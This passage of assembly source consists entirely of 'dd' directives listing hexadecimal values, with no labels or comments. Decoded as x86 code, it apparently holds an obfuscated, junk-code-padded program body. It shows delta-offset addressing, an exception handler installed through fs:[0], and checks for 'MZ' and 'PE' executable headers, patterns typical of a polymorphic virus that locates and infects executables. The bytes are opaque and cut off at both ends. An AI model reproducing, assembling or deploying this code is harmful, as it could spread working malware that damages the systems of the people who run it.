7D007FAh, 850F0000h, 5Fh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0FEC35141h, 0F1214DB3h dd 8B0F6Eh, 0F000000h, 688h, 8DB58B00h, 0FF07FA08h, 0FA071985h dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 243FCA0Dh, 0C5EC7629h, 0FFFC6AC2h, 0FA0719B5h dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 9BCA810Eh, 892B95A0h, 81BD8B08h, 0FF07FA28h dd 0FA101995h, 0B18D0107h, 9007FA15h, 12E9h, 47147400h dd 9730996Dh, 6E28F558h, 5BAC05D8h, 66C4B495h, 9589F88Bh dd 7FA2A65h, 0B8C0Fh, 0BD890000h, 7FA1131h, 25E78166h dd 53006A41h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 55745CFFh, 23F145EFh, 0FA2385BDh, 53006A07h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 56006A8Bh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 6624502Bh, 0F703ABFh, 583h, 1965BF00h, 0BD8B22C3h dd 7FA2DB5h, 0BD89F08Bh, 7FA2C41h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 3BC35343h, 2A0F23Dh, 0B2E211C2h dd 9B4DC681h, 6A4CABh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 0B1803CC3h, 0BCEC1FD6h, 55006A8Eh dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0F777E9BBh, 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 0E70A6BC3h, 600E0335h, 89D08B66h dd 0FA0D99B5h, 5E907h, 6B120000h, 61671BA5h, 34E9B58Bh dd 0AE807FAh, 3000000h, 0E901416Eh, 73CD3A93h, 35BD89EDh dd 0E807FA2Ch, 14h, 1079F981h, 0B5CE22BBh, 69AD5CE6h, 0AEF28B45h dd 299EF79h, 4CB7E781h, 0C78115ABh, 7D5666FBh, 6A605F5Eh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 4B6CC355h, 665388B3h, 0B94108BEh, 0FFFFFFFEh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 1AC35343h dd 3465DDCEh, 8D216845h, 7FA185Dh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 0DBC35747h, 0E2382373h, 7679B713h dd 0CD858BBCh, 6607FA18h, 2123EAB8h, 0FA0DA58Dh, 51006A07h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 49858B23h, 8B07FA05h, 55BD8BFBh, 8B07FA2Bh, 0FA185D8Dh dd 0B1952907h, 8307FA23h, 850F01E1h, 6, 25E1B58Bh, 8D8B07FAh dd 7FA0DA5h, 18870F57h, 0E9000000h, 13h, 6D770F51h, 7D7AE2C9h dd 882BAE14h, 0D343015Bh, 5EE0DE2Ch, 0F01E183h, 2585h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 2ABF3290h, 340EB937h, 6061C68Bh, 0D2DB58Bh dd 0FEB907FAh, 6AFFFFFFh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 8927C352h, 0FA2F85BDh dd 0F18D2107h, 0F07FA2Eh, 287h, 21F08B00h, 0FA26198Dh dd 49B58907h, 8B07FA27h, 0FA2EF18Dh, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0EB14288Bh dd 3914F781h, 0E1830AC7h, 6850F01h, 0B000000h, 0FA0F199Dh dd 198D8B07h, 6A07FA26h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 746EC355h, 1E1836Fh dd 0C850Fh, 958B0000h, 7FA2A1Dh, 0EC5BD8Bh, 606107FAh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 9EC35343h dd 80BA49A4h, 0FEB9DCC7h, 23FFFFFFh, 0FA26B985h, 0C58D2107h dd 6A07FA0Ch, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 2181C353h, 0FA05218Dh, 53006A07h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 63943E6Ah, 95899E80h, 7FA0D41h, 0CC58D8Bh, 870F07FAh dd 3, 83F0BF0Fh, 850F01E1h, 6, 18A9BD89h, 8D8B07FAh, 7FA0521h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 6DC35040h dd 2999BD89h, 0BD2907FAh, 7FA34E9h, 0F01E183h, 2385h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 0FB8F8E04h, 46BAE428h, 6A6061h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 0F31061C3h, 8BDCF414h dd 0FA242DB5h, 0FFFEB907h, 9D8BFFFFh, 7FA0B9Dh, 27658D21h dd 958B07FAh, 7FA02F5h, 1E898D21h, 6A07FAh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0E11A6BC3h dd 2980847Bh, 658D8B7Ah, 0F07FA27h, 0E183DEBFh, 2E850F01h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 0DD23C350h, 50F9E168h, 2AE1BD8Bh dd 315807FAh, 0FA1E69B5h, 898D8B07h, 8907FA1Eh, 0FA2C0985h dd 1E18307h, 0E850Fh, 0BD8B0000h, 7FA2AA1h, 398D8951h dd 5E07FA08h, 6A6061h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 0E9491BC3h, 9, 0F090BFB8h, 23268951h dd 1985C7FDh, 0D007FA07h, 6A000007h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0FC66C353h dd 55006A61h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 7BE4C757h, 6107EBB9h, 0E99Dh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 9DB78C3h, 0FA0E8195h, 6A30B207h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0C770C357h dd 0C680FB67h, 8B009226h, 5000BAC1h, 0EA81F011h, 0F0000000h dd 8914C283h, 0FA114D95h, 14EA8307h, 5AEA858Dh, 645007FEh dd 35FFh, 89640000h, 25h, 0E800h, 2B580000h, 0F00025C2h dd 8166FFFFh, 0F5A4D38h, 1285h, 50B70F00h, 81D0033Ch, 45503Ah dd 0A840F00h, 2D000000h, 1000h, 0FFFFD9E9h, 89C88BFFh dd 0FA14A985h, 3C400307h, 650B70Fh, 18B59589h, 508B07FAh dd 5D958950h, 507FA08h, 0F8h, 30C508Bh, 0B59589D1h, 307FA22h dd 95890850h, 7FA2451h, 58F64h, 83000000h, 13E904C4h, 51000000h dd 10244C8Bh, 0B0A981h, 10000000h, 33590000h, 0BD83C3C0h dd 7FA3135h, 24840F00h, 0C6000000h, 0FA066585h, 0D2684707h dd 0FFD49AA7h, 0FA2095B5h, 0DD858D07h, 0FF07FDA3h, 0FF006AD0h dd 1D8589D0h, 8B07FA0Dh, 6A60D3h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 54B8A3C3h, 0AF433DD2h dd 2BB356AAh, 0FA30BD8Dh, 28C0F07h, 0B5000000h, 66C08BCAh dd 8AB3F181h, 0CDBD83F8h, 7FA2Ah, 0BD830975h, 7FA1899h dd 50197400h, 0B8C08B53h, 438h, 20C98589h, 9D8D07FAh, 7FCE224h dd 585BD3FFh, 1899BD83h, 740007FAh, 0B8535017h, 438h, 20C98589h dd 9D8D07FAh, 7FCDF13h, 585BD3FFh, 6ACEBF0Fh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 1D4DC352h, 0F913CC38h, 0C08B0E4Bh, 0E8F9B70Fh, 827h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 67C35141h dd 8915C4DDh, 0FA16F185h, 0C8BF0F07h, 7FAE8h, 59858900h dd 6A07FA2Fh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 0D04EC355h, 0F3BF6B0h, 0CCE8F9B7h dd 6A000007h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 0BD4FC351h, 0EE6784F0h, 0B18589F5h dd 8B07FA16h, 0FA2E218Dh, 799E807h, 9D290000h, 7FA015Dh dd 918589F9h, 6A07FA33h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 5002C356h, 0E865EF75h dd 767h, 0EE9h, 39CC9E00h, 0E6B4FFD4h, 0DC26287Dh, 897AA39Fh dd 0FA167D85h, 50006A07h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 0A2BC60FDh, 5E5DA888h dd 0F7B70F11h, 722E8h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 24D77DCFh, 89CE8B66h dd 0FA0D3185h, 4870F07h, 66000000h, 0E812CFB9h, 6EBh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0ADC35747h, 8D39072Fh dd 0DE81B4D7h, 684AB830h, 25158589h, 6A07FAh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 2B0FCC3h dd 0F684932h, 94E8F2BFh, 6A000006h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 2D0FC355h dd 5D3DFC38h, 6657ED01h, 510FF781h, 0A9858959h, 6007FA2Eh dd 16EE8166h, 0D5BD8B54h, 6107FA17h, 652E8h, 0F9D98000h dd 112D8589h, 6A07FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 0AE58CAC3h, 16DAE867h, 95891A44h dd 7FA34A1h, 0C360F781h, 14E861F3h, 0B000006h, 0FA0F2DB5h dd 6D858907h, 0BF07FA2Dh, 4DF02A90h, 5FEE8h, 90D68100h dd 893C2D17h, 0FA214985h, 0C58D0107h, 0E807FA11h dd 5E7h, 8589F18Bh, 7FA28EDh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 0ECC35747h, 0CD2C38FDh, 0E8FC9745h dd 5B7h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 0E0C35242h, 67C4C45h, 2377032Ch, 0FA25A58Dh, 3D858907h dd 2907FA24h, 0FA0EE98Dh, 57DE807h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 6C55BBC3h dd 0A59501E0h, 8907FA21h, 0FA1E9985h, 50006A07h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 463BE387h, 52DE8FCh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 9B3FAC3h, 71858936h dd 6A07FA0Eh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 1A18C356h, 0DF1BBD50h, 733AD1C1h dd 2805BD89h, 0D8E807FAh, 6A000004h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0BB64C352h dd 6687C846h, 8589A928h, 7FA0EEDh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 0E5C35242h, 0B0E97Ch, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 95C35343h, 8100951Fh dd 8D8BB9C4h, 7FA23B1h, 8BD8B60Fh, 0FA26EDBDh, 6BA07h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h dd 51410000h, 6E2100C3h, 97D27697h, 530DD1CAh, 5E9h, 0AE68F400h dd 8B5FDD37h, 0CE8C3h, 0AC320000h, 0E35760DEh, 0D649584Bh dd 8B5628A7h, 8B5E5EFAh, 0FA25998Dh, 4E8C107h, 2D958D2Bh dd 0F76607FAh, 11B509E2h, 2B07FA06h, 55006AD8h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0B99589F2h dd 5007FA1Eh, 6A241C89h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 37E1C352h, 9F138A36h dd 0FFC68850h, 0FA10A595h, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 6A5B2A17h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 7FDBC350h, 0D0B3B3E4h, 56A3D681h, 958D5986h dd 7FA055Dh, 8E9h, 2CCFDA00h, 99442B9Ah, 6A1A89B9h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 8815C353h, 0E8F4C395h, 13h, 15B882Bh, 0DE2CD343h, 88E366E0h dd 0AE4F0AE3h, 89AF6B2Ch, 0FA291185h, 42895907h, 55006A04h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 0C8DB0A67h, 8DA2B102h, 0FA171D95h, 50006A07h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 3DF8DB1h, 381FC238h, 8A1691B9h, 6A1A8910h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 94C9C356h, 6B8E68D4h, 42895F52h, 0B9852904h, 8D07FA14h dd 0FA15F195h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 0E280F755h, 0E57BB00Bh dd 0EE8166B3h, 1A890DB4h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 41C35343h, 2E388FB5h, 953E150h, 0FA143D9Dh dd 0BD8B5E07h, 7FA15F9h, 6A044289h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0FEF2C352h dd 8589B59Ah, 7FA1635h, 0F9958Dh, 0AFB107FAh, 6A1A89h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 529E27C3h, 13B96641h, 442891Eh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 0D0C35343h, 41BD890Fh, 8D07FA27h dd 0FA108D95h, 0DE816607h, 0F08BDCD3h, 6A1A89h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 4A5A8DC3h, 0BD89A848h, 7FA2C69h, 6A044289h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 5580C357h, 9D958D63h, 2907FA0Eh, 0FA051985h, 6A1A8907h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 5C5AC351h, 95296741h, 7FA18CDh, 89044289h dd 0FA26DDB5h, 3D958D07h, 6607FA21h, 1A89F08Bh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 75C35343h, 0A7020FB6h dd 0B1D83A94h, 17B9661Eh, 4428954h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 0E8C35040h, 282323CCh, 0B41ECF5Ch dd 0F18B66F7h, 1175958Dh, 6A07FAh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 18559FC3h, 0EDEACF08h dd 0FE8B5C6Fh, 6A1A89h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 1A610DC3h, 937A801Fh, 25FD8D8Bh dd 428907FAh, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 3E83BED2h, 32DF180h, 0FA31DDBDh dd 0A8E907h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 3191E1C3h, 0CB5B5AA4h, 10E9C721h dd 8A000000h, 0D0209206h, 16BD2DB2h, 2F8F6245h, 6AB2A489h dd 45BD0900h, 6A07FA1Fh, 0BE900h, 20670000h, 1FCD2E5Fh dd 9D52C21Dh, 6A006AA8h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 834FC356h, 6A0C19h dd 20E1B58Bh, 95FF07FAh, 7FA2259h, 557A2B9h, 6AC325h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 0BE6640C3h, 0C58ABCE9h, 6830Fh, 85890000h, 7FA0EB1h dd 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 472C0AC3h, 9AC935B5h, 14E83E26h, 0CB000000h dd 63770545h, 948FC1F5h, 961A2E02h, 0B80B6ACAh, 0E95A87ECh dd 13h, 0AADAC40Ch, 0E18F5453h, 72E8CFD6h, 59DA6D8Eh, 5FEBEDEEh dd 2ACDBD83h, 750007FAh, 99BD8309h, 7FA18h, 53501974h dd 38B8C08Bh, 89000004h, 0FA158185h, 8B9D8D07h, 0FF07FCE2h dd 83585BD3h, 0FA1899BDh, 17740007h, 38B85350h, 89000004h dd 0FA158185h, 2C9D8D07h, 0FF07FCDFh, 60585BD3h, 1C91B509h dd 860F07FAh, 6, 7818509h, 6A6107FAh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 3910C350h dd 9D48B5D0h, 3466AB96h, 858DC08Bh, 7FA0199h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0EFC35040h, 7CEEE6D7h dd 6D8621A8h, 41858962h, 9007FA1Ch, 50DF8B66h, 49BFBB66h dd 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 1463486Bh, 66AA1FA4h, 0E860BAD5h, 0Ch, 0EE180B0Ah dd 50CC87BEh, 1CC41E5Fh, 5880F480h, 0F98B6660h, 3DC3BB66h dd 6A6161h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 83C35646h, 94B31768h, 6A006Ah, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h dd 52420000h, 704633C3h, 0DABB66C5h, 0B858DD8h, 6A07FE68h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 0C1C8C357h, 0F6DCDE4h, 68Eh, 119D0300h, 8307FA25h dd 6A05C0h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 0E85CB3C3h, 80BB6679h, 48950A2h, 52006A24h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 9E9D019h, 6A000000h, 0BE9AF175h, 16E3349Bh, 0A820Fh dd 5E90000h, 0FD000000h, 0AE8FFB44h, 8960006Ah, 0FA2D4D9Dh dd 0F19D8B07h, 6107FA23h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 7100A5C3h, 2BE995FFh dd 6A07FAh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 8D8DE6C3h, 7FDD711h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 0E2C35343h, 417C7D52h, 0C9BD3387h dd 0FF07FA2Ah, 55006AD1h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 0E62A0C64h, 0BBDB9C9Bh dd 9933707h, 0DA816660h, 7BB9051Fh, 612DCE82h, 33EDBD83h dd 0F0107FAh, 8385h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 0AE34B883h, 6ADD8A0Bh dd 57006A02h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 59B350Fh, 9D8904CDh, 7FA317Dh, 8A90F98Bh dd 299050FAh, 0FA31119Dh, 9595FF07h, 6A07FA1Ch, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 0B69FC350h, 8D29AB71h, 7FA11C9h, 0D42E9h, 0E800h, 815D0000h dd 0FE6815EDh, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 9B64C947h, 5D1A2F4Ah dd 52006A88h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 8D00B162h, 2135BD23h, 0EF8107FAh, 51C91DF4h dd 0B959858Dh, 5E907FDh, 79000000h, 0E0D2A969h, 0BB665090h dd 8B90866Eh, 0FA2195BDh, 35FF6407h, 0 dd 2EF9BD89h, 896407FAh, 25h, 85FFF800h, 7FA1049h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0DBC35242h, 8A0Fh dd 0FF6A0000h, 0F1B5FFF5h, 6A07FA16h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 1C9C351h dd 19A06FA1h, 0A5850133h, 0FF07FA0Ch, 0FA287595h, 0F2E907h dd 0BD8B0000h, 7FA2139h, 8B6600B0h, 8B70E6DAh, 0FA0831BDh dd 3C71E407h, 0D5830F61h, 80000000h, 0B60F8AD3h, 8B97B3C8h dd 0FA0715BDh, 6BA07h, 9E80000h, 83000000h, 7A625EFCh dd 145F26FDh, 0D4F38166h, 0C18B5B70h, 4E8C1F8h, 4870Fh dd 0BF660000h, 0F7669BB1h, 0DE9E2h, 83E20000h, 9463C8C2h dd 8FD6A176h, 2B8DAB53h, 89BD8BC8h, 8B07FA0Bh, 0B7BBBFD1h dd 0B70F72E9h, 14E9FBh, 9E90000h, 6E000000h, 0E6B0D1Ch dd 41B95016h, 2E19BD8Bh, 858B07FAh, 7FA055Dh, 71BEAABFh dd 7C0837Bh, 8900C083h, 0FA2EA5BDh, 0FD03B07h, 0D83h, 0DEB70F00h dd 37E9h, 0F3816600h, 8D8B00E2h, 7FA185Dh, 2BD19D03h, 0E18307FAh dd 1D840F01h, 0F000000h, 0A583DEB7h, 7FA185Dh, 6E380FEh dd 55D9589h, 816607FAh, 0E93517C3h, 0 dd 197B58Dh, 0DE907FEh, 6000000h, 0AAA95190h, 52B746C0h dd 0BA2B9020h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 99A94EC3h, 2AEB8174h, 0FF7BC5D3h dd 0FA101995h, 0BE666007h, 8D0119D0h, 7FA21A5h, 799B961h dd 0B5290000h, 7FA1495h, 89FCE183h, 0FA01B9BDh, 0BD29FC07h dd 7FA1451h, 0BB66C02Bh, 0BA7A66h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 893EC357h, 0FA150195h, 168C0F07h, 0E9000000h, 11h, 0DBA75CDh dd 0A72F4D29h, 4D570A3Bh, 0D988099Dh, 0C233AD9Eh, 0D003E8D1h dd 7504E983h, 57006AF4h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 0B0927657h, 8370F458h, 0BB663AC8h dd 53B72CAAh, 880Dh, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 459D3128h, 0E96D11A7h dd 13h, 1E7A8D5Ah, 0E14228F9h, 4705D553h, 15AE1674h, 8BB621F8h dd 0FA1CD995h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 6E8DB3Fh, 16000000h, 0C1A7F5F1h dd 0E19D89C9h, 5B07FA01h, 31AD8D8Bh, 8B5007FAh, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 0EE9h, 27868B00h, 0F518D86Bh dd 0CB5798E8h, 6A5E7ACDh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 0CAE6C351h, 0DF06C15Ah dd 8A0F2582h, 6, 0A6D9D8Bh, 0FE907FAh, 52000000h, 0C5CFE975h dd 68417743h, 61C03B55h, 0BD839397h, 7FA2A29h, 84840F00h dd 8B000000h, 0FA0E099Dh, 0B807h, 8D8D0000h, 7FA4F66h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 5AC35646h dd 4527D09Bh, 0E8816660h, 9D33E24Dh, 7FA3159h, 6AE1FF61h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 7255C356h, 9E8h, 0CFA5D700h, 0B8AFA1C1h dd 9D31DD80h, 7FA23A5h, 0C800F5Fh, 0F000000h, 68Fh, 1D9D8B00h dd 8307FA07h, 0FA2BD9BDh, 840F0007h, 4D9h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 40C35242h, 31F6F635h dd 4D932A03h, 0DE881h, 515B0000h, 95A8B042h, 534581E3h dd 893572B9h, 0FA11A19Dh, 0BD835B07h, 7FA2BD9h, 0A9840F01h dd 66000004h, 0BD83F98Bh, 7FA2BD9h, 63860F03h, 89000004h dd 0FA240D9Dh, 6A6007h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 0ABAE94C3h, 0D98C665Eh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0BBC35040h, 3C8876EDh dd 0B19D8B5Bh, 0E807FA21h, 0Eh, 18588413h, 0C8902775h dd 209670A1h, 9D8B98F4h, 7FA25FDh, 4E1805Bh, 0AD9B70Fh dd 0A1840FC9h, 6A000001h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 2902C356h, 0FA01E5B5h dd 12E907h, 0F0AD0000h, 8E8A7314h, 0B25C3D75h, 0FADF2EC1h dd 0A0C51A07h, 0FE9858Bh, 8B6607FAh, 0E18533F8h, 6A07FA15h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 0B9ECC356h, 4A3E2865h, 41950174h, 9007FA08h dd 0E9525053h, 0Fh, 0FDE05BB9h, 14A69284h, 73A2A999h, 0FC9E158h dd 5A5B5031h, 90505B58h, 9C4ABB66h, 6A006Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 3ED861C3h dd 0FA590FAh, 981h, 3850F00h, 0F000000h, 0E568FAB7h, 5038FE73h dd 0EE852h, 227A0000h, 45C40D17h, 0DA5571F8h, 57DB0771h dd 860Fh, 0F5F0000h, 2820F31h, 8B000000h, 81585AFBh, 701A2434h dd 0B70F38E1h, 12E9DAh, 7CCD0000h, 6CCF1AB1h, 0CADA6482h dd 0FE480086h, 526D3610h, 1CE995FFh, 6A07FAh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0DA48FCC3h dd 0E6126DF6h, 219D8973h, 8907FA10h, 0FDEB9685h, 50006A07h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0D70B1730h, 89CFAB2h, 0BB668843h, 0FCE93488h, 6A000001h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 0F1D6C353h, 6AF7BFB5h, 66F95A96h, 0AFEADB81h dd 0EB8E858Bh, 6A07FDh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 0AC9D2EC3h, 0E70B87D3h, 0C9BD892Ch dd 0C707FA0Ch, 1800h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 0B58B5EC8h, 7FDEB92h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 72C35343h dd 359D8B89h, 8B07FA1Dh, 0FA0D5185h, 50006A07h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 0DA7B2FD1h dd 399D8BA7h, 0BF07FA35h, 27B77E5h, 0E92DBB66h, 8E90689h dd 47000000h, 0FA004812h, 8BB0D9C2h, 0FA0FE985h, 10E95007h dd 43000000h, 46C2C98Dh, 0F5F0B421h, 0C2638E50h, 5B39DC68h dd 81044689h, 0ACADF8E3h, 0BB66964Ch, 0F5039CBh, 88Fh dd 840F5600h, 0 dd 6A965Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 1B112DC3h, 643F0A33h, 0EB8EB5FFh, 6A07FDh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 0A3B3D4C3h, 0B14738AEh, 9E8F3h, 0E8CB0000h, 78A41F1Eh dd 8BC346C4h, 6685BFBh, 81ACD43Bh, 0C8F92404h, 0BD03534Ah dd 7FA1F29h, 0EB96858Dh, 0BD3107FDh, 7FA1CFDh, 90DBBF0Fh dd 0BB665250h, 310F2402h, 585A28B7h, 13E95350h, 34000000h dd 0A2986D74h, 0C3D1A80Ch, 0BB0D6C50h, 5FD72E09h, 905F575Fh dd 0F219D89h, 95FF07FAh, 7FA1CE9h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 0E4C35646h, 0A4A134A1h, 8D8D894Ah dd 6107FA20h, 6870Fh, 0BD290000h, 7FA1E0Dh, 0C7D9BF0Fh dd 0FA2BD985h, 307h, 51006A00h, 3E8h, 0C3592000h, 244C8959h 